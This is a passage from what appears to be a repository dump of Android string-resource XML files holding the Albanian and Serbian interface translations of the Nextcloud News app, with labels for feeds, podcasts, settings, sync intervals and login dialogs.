zëra</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Me yll</string>\n    <string name=\"action_read\">Lexoni</string>\n    <string name=\"action_playPodacst\">Luani Podcast</string>\n    <string name=\"action_openInBrowser\">Hape në Webfaqe</string>\n    <string name=\"action_Share\">Ndajeni me të tjerët</string>\n    <string name=\"action_login\">Rregullime Shërbyesi</string>\n    <string name=\"action_save\">Ruaje</string>\n    <string name=\"action_settings\">Rregullime</string>\n    <string name=\"action_sync_settings\">Rregullime Njëkohësimi</string>\n    <string name=\"action_add_new_feed\">Shtoni prurje të re</string>\n    <string name=\"action_textToSpeech\">Lexoje</string>\n    <string name=\"action_search\">Kërko</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Keni %d zë të palexuar</item>\n        <item quantity=\"other\">Keni %d zëra të palexuar</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Ka të gatshëm %d zë të palexuar</item>\n        <item quantity=\"other\">Ka të gatshëm %d zëra të palexuar</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL Prurjeje</string>\n    <string name=\"action_add_feed\">Shtoni prurje</string>\n    <string name=\"import_opml\">Importo OPML</string>\n    <string name=\"export_opml\">Eksporto OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Shkarko Figurën</string>\n    <string name=\"action_img_sharelink\">Ndani Lidhje Figure</string>\n    <string name=\"action_img_open\">Hape Figurën në Shfletues</string>\n    <string name=\"action_img_copylink\">Kopjo Lidhje Figure</string>\n    <string name=\"action_link_share\">Ndani Lidhjen</string>\n    <string name=\"action_link_open\">Hapeni Lidhjen në Shfletues</string>\n    <string name=\"action_link_copy\">Kopjoje Lidhjen</string>\n    <string name=\"toast_img_saved\">Imazhi u ruajt</string>\n    <string name=\"toast_img_notwriteable\">Dështoi shkrimi i Figurës.</string>\n    <string name=\"toast_copied_to_clipboard\">U kopjua në të papastër</string>\n    <string name=\"error_download_failed\">Shkarkimi dështoi</string>\n    <string name=\"intent_title_share\">Ndajeni përmes</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Hiqe Prurjen</string>\n    <string name=\"action_feed_rename\">Riemërtojeni Prurjen</string>\n    <string name=\"feed_remove_button\">Hiqe</string>\n    <string name=\"feed_rename_button\">Riemërtoje</string>\n    <string name=\"confirm_feed_remove\">Doni vërtet të hiqet kjo Prurje? Kjo s’mund të zhbëhet!</string>\n    <string name=\"action_folder_rename\">Riemërtoni dosjen</string>\n    <string name=\"folder_remove_button\">Hiq</string>\n    <string name=\"folder_rename_button\">Rename</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Shto</string>\n    <string name=\"hint_folder_name\">Emri i dosjes</string>\n    <string name=\"pref_title_username\">Emër përdoruesi</string>\n    <string name=\"pref_title_password\">Fjalëkalim</string>\n    <string name=\"pref_title_owncloudRootPath\">Adresa rrënjë e ownCloud-it</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Hyni</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Kjo fushë është e domosdoshme</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">U shkarkua %d objekt i vjetër</item>\n        <item quantity=\"other\">U shkarkua %d objekte të vjetër</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">S\\’ka objekte të tjerë gati</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Rregullime</string>\n    <string name=\"cache_is_cleared\">Fshehtina u pastrua!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Të përgjithshme</string>\n    <string name=\"pref_title_general_sort_order\">Radhë Renditjeje</string>\n\n    <string name=\"pref_title_general_search_in\">Kërkoni</string>\n\n    <string name=\"pref_general_search_in_title\">Titulli</string>\n    <string name=\"dialog_clearing_cache\">Pastrim fshehtine</string>\n    <string name=\"reset_cache_unsaved_changes\">Ka ndryshime të panjëkohësuara. Doni ta ktheni fshehtinën në gjendjen fillestare sido qoftë?</string>\n    <string name=\"warning\">Kujdes</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Njëkohësoji gjatë nisjes</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Shfaq vetëm artikuj të palexuar</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Çaktivizo Verifikim e Strehëemrave</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Lëvizni me butona volumi</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Shënoji si të lexuara teksa rrëshqitet</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Të pranohet Dëshmi e Panjohur?</string>\n    <string name=\"mtm_decision_always\">Përherë</string>\n    <string name=\"mtm_decision_abort\">Ndërprite</string>\n    <string name=\"mtm_notification\">Verifikim Dëshmish</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">S\\’u përzgjodh podcast</string>\n    <string name=\"no_chapters_available\">S’ka kapituj gati</string>\n    <string name=\"dialog_podcast_remove_confirm\">Hiqe</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Rreth </string>\n    <string name=\"pref_license\">Liçenca</string>\n    <string name=\"pref_privacy\">Privatësia</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Ekran</string>\n    <string name=\"pref_title_app_theme\">Shabllon</string>\n    <string name=\"pref_title_feed_list_layout\">Skemë liste prurjesh</string>\n    <string name=\"pref_display_browser\">Shfletues</string>\n\n\n    <string name=\"pref_display_apptheme_light\">E çelët</string>\n    <string name=\"pref_display_apptheme_dark\">E errët</string>\n\n    <string name=\"pref_display_font_size_d\">E paracaktuar</string>\n    <string name=\"content_desc_play\">Luaj</string>\n    <string name=\"content_desc_pause\">Pauzë</string>\n    <string name=\"content_desc_forward\">Përpara</string>\n    <string name=\"content_desc_collapse\">Tkurre</string>\n    <string name=\"content_desc_mark_as_read\">Shënoje si të lexuar</string>\n    <string name=\"content_desc_mark_as_unread\">Shënoje si të palexuar</string>\n    <string name=\"content_desc_add_to_favorites\">Shtoje tek të parapëlqyerat</string>\n    <string name=\"content_desc_remove_from_favorites\">Remove from favorites</string>\n    <string name=\"content_desc_delete\">Fshij</string>\n    <string name=\"content_desc_download\">Shkarko</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Gabim</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Diçka shkoi ters :(</string>\n    <string name=\"login_dialog_title_security_warning\">Sinjalizim Sigurie</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Dicka shkoi keq. Ju lutemi provoni përsëri.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Të dhëna &amp; njëkohësim</string>\n    <string name=\"pref_title_clearCache\">Pastroje fshehtinën</string>\n    <string name=\"pref_title_CacheImagesOffline\">Ruajio figurat në fshehtinë</string>\n    <string name=\"pref_title_Max_Cache_Size\">Madhësi Maksimum Fshehtine</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Kurrë</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Vetëm përmes WiFi-ji</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Përmes WiFi-ji &amp; Lidhjeje Celulari</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Pyet, kur s\\’është i lidhur me WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Kurrë</string>\n    <string name=\"array_sync_interval_min_5\">5 minuta</string>\n    <string name=\"array_sync_interval_min_15\">15 minutes</string>\n    <string name=\"array_sync_interval_min_30\">30 minutes</string>\n    <string name=\"array_sync_interval_hour_1\">1 Orë</string>\n    <string name=\"array_sync_interval_hour_2\">2 orë </string>\n    <string name=\"array_sync_interval_hour_3\">3 orë</string>\n    <string name=\"array_sync_interval_hour_6\">6 orë</string>\n    <string name=\"array_sync_interval_hour_12\">12 orë</string>\n    <string name=\"array_sync_interval_hour_24\">24 orë</string>\n    <string name=\"switch_account\">Ndrysho Llogarinë</string>\n    \n    <string name=\"please_wait\">Ju lutem prisni ...</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sr/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Ауто-освежавање</string>\n    <string name=\"title_activity_sync_interval_selector\">Интервал синхронизације</string>\n    <string name=\"empty_view_content\">Нема ставки</string>\n    <string name=\"empty_view_content_action\">Повуците да освежите</string>\n    <string name=\"toast_GettingMoreItems\">Preuzimanje više stavki je u toku. Molim sačekajte ...</string>\n    <string name=\"no_wifi_available\">Нема бежичне везе</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Желите ли да преузмете слике без WiFi конекције</string>\n    <string name=\"current_version\">Користите верзију %s</string>\n    <string name=\"widget_header\">Некстклауд Вести</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Доступна %d нова ставка</item>\n        <item quantity=\"few\">Доступне %d нове ставке</item>\n        <item quantity=\"other\">Доступних %d нових ставки</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Поново учитај</string>\n    <string name=\"allUnreadFeeds\">Све непрочитане ставке</string>\n    <string name=\"starredFeeds\">Озвездане ставке</string>\n    <string name=\"downloadedPodcasts\">Преузети подкасти</string>\n    <string name=\"title_activity_new_feed\">Додај довод</string>\n\n    <string name=\"menu_update\">Освежи</string>\n    <string name=\"menu_markAllAsRead\">Означи све као прочитано</string>\n    <string name=\"menu_StartImageCaching\">Преузми слике</string>\n    <string name=\"menu_downloadMoreItems\">Преузми још ставки</string>\n\n    <string name=\"tv_showing_cached_version\">Приказујем кеширану верзију</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Озвездано</string>\n    <string name=\"action_read\">Читај</string>\n    <string name=\"action_playPodacst\">Пусти подемисију</string>\n    <string name=\"action_removePodcast\">Уклони подкаст медије</string>\n    <string name=\"action_openInBrowser\">Отвори у прегледачу</string>\n    <string name=\"action_Share\">Дели</string>\n    <string name=\"action_login\">Поставке сервера</string>\n    <string name=\"action_save\">Сачувај</string>\n    <string name=\"action_settings\">Поставке</string>\n    <string name=\"action_sync_settings\">Поставке освежавања</string>\n    <string name=\"action_add_new_feed\">Додај довод</string>\n    <string name=\"action_add_new_folder\">Додај нови фолдер</string>\n    <string name=\"action_textToSpeech\">Ишчитај</string>\n    <string name=\"action_search\">Претрага</string>\n    <string name=\"action_download_articles_offline\">Скини чланке за приступ и без интернета</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Скидам чланке за коришћење ван везе</string>\n    <string name=\"notification_download_images_offline\">Скидам слике за коришћење ван везе</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Имате %d непрочитану ставку</item>\n        <item quantity=\"few\">Имате %d непрочитане ставке</item>\n        <item quantity=\"other\">Имате %d непрочитаних ставки</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Доступна је %d непрочитана ставка</item>\n        <item quantity=\"few\">Доступно је %d непрочитане ставке</item>\n        <item quantity=\"other\">Доступно је %d непрочитаних ставки</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Адреса довода</string>\n    <string name=\"action_add_feed\">Додај довод</string>\n    <string name=\"import_opml\">Увези ОПМЛ</string>\n    <string name=\"export_opml\">Извези ОПМЛ</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Преузми слику</string>\n    <string name=\"action_img_sharelink\">Подели везу ка слици</string>\n    <string name=\"action_img_open\">Отвори слику у прегледачу</string>\n    <string name=\"action_img_copylink\">Копирај везу ка слици</string>\n    <string name=\"action_link_share\">Подели везу</string>\n    <string name=\"action_link_open\">Отвори везу у прегледачу</string>\n    <string name=\"action_link_copy\">Копирај везу</string>\n    <string name=\"toast_img_download_wait\">Preuzimam. Molim sačekajte ...</string>\n    <string name=\"toast_img_saved\">Слика сачувана.</string>\n    <string name=\"toast_img_notwriteable\">Грешка при чувању слике.</string>\n    <string name=\"toast_copied_to_clipboard\">Копирано у клипборд</string>\n    <string name=\"error_download_failed\">Преузимање није успело</string>\n    <string name=\"intent_title_share\">Подели преко</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Уклони довод</string>\n    <string name=\"action_feed_rename\">Преименуј довод</string>\n    <string name=\"action_feed_move\">Премести довод</string>\n    <string name=\"action_feed_notification_settings\">Поставке обавештења</string>\n    <string name=\"action_feed_open_in\">Подешавања за отвори-у</string>\n    <string name=\"action_feed_open_in_general_setting\">Корисни општа подешавања</string>\n    <string name=\"action_feed_open_in_detailed_view\">Детаљни приказ</string>\n    <string name=\"feed_remove_button\">Уклони</string>\n    <string name=\"feed_rename_button\">Преименуј</string>\n    <string name=\"confirm_feed_remove\">Заиста желите да уклоните овај довод? Ово се не може опозвати!</string>\n    <string name=\"feed_move_list_description\">Изаберите фасциклу да преместите довод</string>\n    <string name=\"move_feed_root_folder\">Корена фасцикла</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Уклони фолдер</string>\n    <string name=\"action_folder_rename\">Преименуј фасциклу</string>\n    <string name=\"folder_remove_button\">Уклони</string>\n    <string name=\"folder_rename_button\">Преименуј</string>\n    <string name=\"confirm_folder_remove\">Да ли заиста желите да уклоните овај фолдер? Ово не може да се поништи!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Примај јединствена обавештења за ове вести</string>\n    <string name=\"notification_feed_default\">Све вести са подразумеваним подешавањеима ће се појавити у једном обавештењу</string>\n    <string name=\"notification_feed_none\">Уопште нема обавештења</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Додај</string>\n    <string name=\"hint_folder_name\">Назив фасцикле</string>\n    <string name=\"folder_already_exists\">Фолдер већ постоји</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Ручна пријава</string>\n    <string name=\"login_sso\">Пријава преко Некстклауд апликације</string>\n    <string name=\"pref_title_username\">Корисничко име</string>\n    <string name=\"pref_title_password\">Лозинка</string>\n    <string name=\"pref_title_owncloudRootPath\">Корена адреса Некстклауда</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Пријави се</string>\n    <string name=\"login_progress_signing_in\">Prijavljujem se ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Ово поље је неопходно</string>\n    <string name=\"error_invalid_url\">Неисправна адреса</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Означена %d ставка као прочитана</item>\n        <item quantity=\"few\">Означене %d ставке као прочитане</item>\n        <item quantity=\"other\">Означено %d ставки као прочитане</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Преузета %d стара ставка</item>\n        <item quantity=\"few\">Преузето %d старе ставке</item>\n        <item quantity=\"other\">Преузето %d старих ставки</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Нема више доступних ставки</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">До сада је преузета %d ставка …</item>\n        <item quantity=\"few\">До сада су преузете %d ставке …</item>\n        <item quantity=\"other\">До сада је преузето %d ставки ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Поставке</string>\n    <string name=\"cache_is_cleared\">Кеш је очишћен!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Опште</string>\n    <string name=\"pref_title_general_sort_order\">Сортирање</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Ново → Старо</string>\n    <string name=\"pref_general_sort_order_old_new\">Старо → Ново</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Радња при превлачењу у десно</string>\n    <string name=\"pref_rename_action_swipe_left\">Радња при превлачењу у лево</string>\n\n    <string name=\"pref_title_general_search_in\">Претражи у</string>\n\n    <string name=\"pref_general_search_in_title\">Наслов</string>\n    <string name=\"pref_general_search_in_body\">Тело</string>\n    <string name=\"pref_general_search_in_both\">Оба</string>\n\n    <string name=\"dialog_clearing_cache\">Чистим кеш</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Brišem keš. Molim vas sačekajte...</string>\n    <string name=\"reset_cache_unsaved_changes\">Постоје несинхронизоване измене. Да ипак обришем кеш?</string>\n    <string name=\"warning\">Упозорење</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Освежи при покретању</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Прикажи само непрочитане чланке</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Искључи проверу имена домаћина</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Навигација помоћу дугмади за јачину звука</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Означи као прочитано током клизања</string>\n    <string name=\"pref_title_ShowFastActions\">Активирај функције за брзи приступ</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Прескочи детаљни преглед и одмах отвори чланак у прегледачу</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Дугме уназад отвара фиоку</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Прихватити непознати сертификат?</string>\n    <string name=\"mtm_decision_always\">Увек</string>\n    <string name=\"mtm_decision_abort\">Прекини</string>\n    <string name=\"mtm_notification\">Провера сертификата</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Није изабрана подемисија</string>\n    <string name=\"no_chapters_available\">Нема доступних поглавља</string>\n    <string name=\"exit_playback\">Напусти Плејер</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Брзина пуштања</string>\n    <string name=\"notification_downloading_podcast_title\">Преузимам подкаст</string>\n    <string name=\"dialog_podcast_remove_title\">Да ли сте сигурни?</string>\n    <string name=\"dialog_podcast_remove_body\">Да ли желите да обришете преузете медије за %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Није успело уклањање медија за %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Обрисани су медији за %1$s</string>\n    <string name=\"dialog_podcast_remove_confirm\">Уклони</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">О програму</string>\n    <string name=\"pref_license\">Лиценца</string>\n    <string name=\"pref_license_summary\">ГНУ Affero Општа Јавна Лиценца (АОЈЛ), верзија 3</string>\n    <string name=\"pref_report_issue\">Пријави проблем</string>\n    <string name=\"pref_report_issue_summary\">Потребан је (бесплатни) Гитхаб налог</string>\n    <string name=\"pref_contribute\">Дајте допринос!</string>\n    <string name=\"pref_contribute_summary\">Узми изворни кôд</string>\n    <string name=\"pref_privacy\">Приватност</string>\n    <string name=\"pref_privacy_summary\">Политика приватности за Некстклауд Новости</string>\n    <string name=\"pref_news_policy\">Контактирајте нас / Полиса Вести</string>\n    <string name=\"pref_news_policy_summary\">Полиса Android Вести Nextcloud Вести / Контактирајте нас</string>\n    <string name=\"pref_version\">Андроид апликација за Некстклауд Вести</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Приказ</string>\n    <string name=\"pref_title_app_theme\">Тема</string>\n    <string name=\"pref_title_feed_list_layout\">Распоред листе довода</string>\n    <string name=\"pref_title_font_size\">Величина фонта</string>\n    <string name=\"pref_display_browser\">Прегледач</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Иконе радњи (детаљни приказ)</string>\n\n    <string name=\"pref_display_apptheme_auto\">системска</string>\n    <string name=\"pref_display_apptheme_light\">Светла</string>\n    <string name=\"pref_display_apptheme_dark\">Тамна</string>\n\n    <string name=\"pref_oled_mode\">Црна позадина</string>\n    <string name=\"pref_oled_mode_summary\">За тамне теме на ОЛЕД екранима</string>\n\n    <string name=\"pref_external_player\">Спољни Плејер</string>\n    <string name=\"pref_external_player_summary\">Пуштајте подкасте у својој подразумеваној апликацији за медије</string>\n\n    <string name=\"pref_display_browser_cct\">Уграђени Хром посебни језичци</string>\n    <string name=\"pref_display_browser_built_in\">Уграђени прегледач</string>\n    <string name=\"pref_display_browser_external\">Спољни прегледач</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Сличице (само насловне линије)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Сличице</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Обичан текст</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Наслови</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Цео текст</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Веб распоред</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Картични приказ</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Мало</string>\n    <string name=\"pref_display_font_size_d\">Подразумевано</string>\n    <string name=\"pref_display_font_size_l\">Велико</string>\n    <string name=\"pref_display_font_size_xl\">Јако велико</string>\n\n    <string name=\"content_desc_play\">Пусти</string>\n    <string name=\"content_desc_pause\">Паузирај</string>\n    <string name=\"content_desc_playback_speed\">Брзина репродукције</string>\n    <string name=\"content_desc_rewind\">Premotavanje</string>\n    <string name=\"content_desc_forward\">Проследи</string>\n    <string name=\"content_desc_expand\">Proširi</string>\n    <string name=\"content_desc_collapse\">Скупи</string>\n    <string name=\"content_desc_mark_as_read\">Означи као прочитано</string>\n    <string name=\"content_desc_mark_as_unread\">Означи као непрочитано</string>\n    <string name=\"content_desc_tap_to_refresh\">Pritisnite da osvežite</string>\n    <string name=\"content_desc_add_to_favorites\">Додај у омиљене</string>\n    <string name=\"content_desc_remove_from_favorites\">Уклони из омиљених</string>\n    <string name=\"content_desc_show_password\">Прикажи лозинку</string>\n    <string name=\"content_desc_delete\">Избриши</string>\n    <string name=\"content_desc_download\">Преузми</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Грешка</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Изгледа да апликација Вести није инсталирана или активирана на серверу. Пратите упутства одавде да прво подесите апликацију Вести на серверу: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Нешто је пошло наопако :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Апликација Вести је вратила верзију \\\"0\\\". Погледајте следећи извештај о грешци: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Верзија ове апликације није усклађена са апликацијом Некстклауд Вести. Ажурирајте апликацију и њен радни оквир.</string>\n    <string name=\"login_dialog_title_security_warning\">Сигурносно упозорење</string>\n    <string name=\"login_dialog_text_security_warning\">Не користите препоручени ХТТПС протокол. Нападач може пресрести ваш саобраћај и имати приступ осетљивим подацима (нпр. вашој лозинки).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Нешто није у реду. Молимо вас покушајте поново.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Подаци и синхронизација</string>\n    <string name=\"pref_title_clearCache\">Очисти кеш</string>\n    <string name=\"pref_title_CacheImagesOffline\">Кеширај слике за рад ван везе</string>\n    <string name=\"pref_title_Max_Cache_Size\">Највише</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Никад</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Само преко бежичне везе</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Преко бежичне &amp; мобилне мреже</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Питај када нема бежичне везе</string>\n\n    <string name=\"array_sync_interval_min_0\">Никад</string>\n    <string name=\"array_sync_interval_min_5\">5 минута</string>\n    <string name=\"array_sync_interval_min_15\">15 минута</string>\n    <string name=\"array_sync_interval_min_30\">30 минута</string>\n    <string name=\"array_sync_interval_min_45\">45 минута</string>\n    <string name=\"array_sync_interval_hour_1\">1 сат</string>\n    <string name=\"array_sync_interval_hour_2\">2 сата</string>\n    <string name=\"array_sync_interval_hour_3\">3 сата</string>\n    <string name=\"array_sync_interval_hour_6\">6 сати</string>\n    <string name=\"array_sync_interval_hour_12\">12 сати</string>\n    <string name=\"array_sync_interval_hour_24\">24 сата</string>\n    <string name=\"switch_account\">Пребаци налог</string>\n    \n    <string name=\"successfully_exported\">Успешно извезено у:</string>\n    <string name=\"opml_export\">OPML извоз</string>\n    <string name=\"parsing_opml\">OPML се парсира</string>\n    <string name=\"please_wait\">Молимо сачекајте…</string>\n    <string name=\"interval_sync_title\">Интервал синхронизације</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sr-rSP/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Auto-osvežavanje</string>\n    <string name=\"empty_view_content\">Nema stavki</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"no_wifi_available\">Nema bežične veze</string>\n    <string name=\"current_version\">Koristite verziju %s</string>\n    <string name=\"widget_header\">Nekstklaud Vesti</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Dostupna %d nova stavka</item>\n        <item quantity=\"few\">Dostupne %d nove stavke</item>\n        <item quantity=\"other\">Dostupnih %d novih stavki</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Ponovo učitaj</string>\n    <string name=\"allUnreadFeeds\">Sve nepročitane stavke</string>\n    <string name=\"starredFeeds\">Ozvezdane stavke</string>\n    <string name=\"title_activity_new_feed\">Dodaj dovod</string>\n\n    <string name=\"menu_update\">Osveži</string>\n    <string name=\"menu_markAllAsRead\">Označi sve kao pročitano</string>\n    <string name=\"menu_StartImageCaching\">Preuzmi slike</string>\n    <string name=\"menu_downloadMoreItems\">Preuzmi još stavki</string>\n\n    <string name=\"tv_showing_cached_version\">Prikazujem keširanu verziju</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Ozvezdano</string>\n    <string name=\"action_read\">Čitaj</string>\n    <string name=\"action_playPodacst\">Pusti podemisiju</string>\n    <string name=\"action_openInBrowser\">Otvori u pregledaču</string>\n    <string name=\"action_Share\">Deli</string>\n    <string name=\"action_login\">Postavke servera</string>\n    <string name=\"action_save\">Sačuvaj</string>\n    <string name=\"action_settings\">Postavke</string>\n    <string name=\"action_sync_settings\">Postavke osvežavanja</string>\n    <string name=\"action_add_new_feed\">Dodaj dovod</string>\n    <string name=\"action_textToSpeech\">Iščitaj</string>\n    <string name=\"action_search\">Pretraga</string>\n    <string name=\"action_download_articles_offline\">Skini članke za pristup i bez interneta</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Skidam članke za pristup i bez interneta</string>\n    <string name=\"notification_download_images_offline\">Skidam slike za pristup i bez interneta</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Imate %d nepročitanu stavku</item>\n        <item quantity=\"few\">Imate %d nepročitane stavke</item>\n        <item quantity=\"other\">Imate %d nepročitanih stavki</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Dostupna je %d nepročitana stavka</item>\n        <item quantity=\"few\">Dostupno je %d nepročitane stavke</item>\n        <item quantity=\"other\">Dostupno je %d nepročitanih stavki</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Adresa dovoda</string>\n    <string name=\"action_add_feed\">Dodaj dovod</string>\n    <string name=\"import_opml\">Uvezi OPML</string>\n    <string name=\"export_opml\">Izvezi OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Preuzmi sliku</string>\n    <string name=\"action_img_sharelink\">Podeli vezu ka slici</string>\n    <string name=\"action_img_open\">Otvori sliku u pregledaču</string>\n    <string name=\"action_img_copylink\">Kopiraj vezu ka slici</string>\n    <string name=\"action_link_share\">Podeli vezu</string>\n    <string name=\"action_link_open\">Otvori vezu u pregledaču</string>\n    <string name=\"action_link_copy\">Kopiraj vezu</string>\n    <string name=\"toast_img_saved\">Slika sačuvana.</string>\n    <string name=\"toast_img_notwriteable\">Greška pri čuvanju slike.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopirano u klipbord</string>\n    <string name=\"error_download_failed\">Preuzimanje nije uspelo</string>\n    <string name=\"intent_title_share\">Podeli preko</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Ukloni dovod</string>\n    <string name=\"action_feed_rename\">Preimenuj dovod</string>\n    <string name=\"action_feed_move\">Premesti dovod</string>\n    <string name=\"action_feed_notification_settings\">Postavke obaveštenja</string>\n    <string name=\"feed_remove_button\">Ukloni</string>\n    <string name=\"feed_rename_button\">Preimenuj</string>\n    <string name=\"confirm_feed_remove\">Zaista želite da uklonite ovaj dovod? Ovo se ne može opozvati!</string>\n    <string name=\"feed_move_list_description\">Izaberite fasciklu da premestite dovod</string>\n    <string name=\"move_feed_root_folder\">Korena fascikla</string>\n\n\n    <string name=\"folder_remove_button\">Ukloni</string>\n    <string name=\"folder_rename_button\">Preimenuj</string>\n    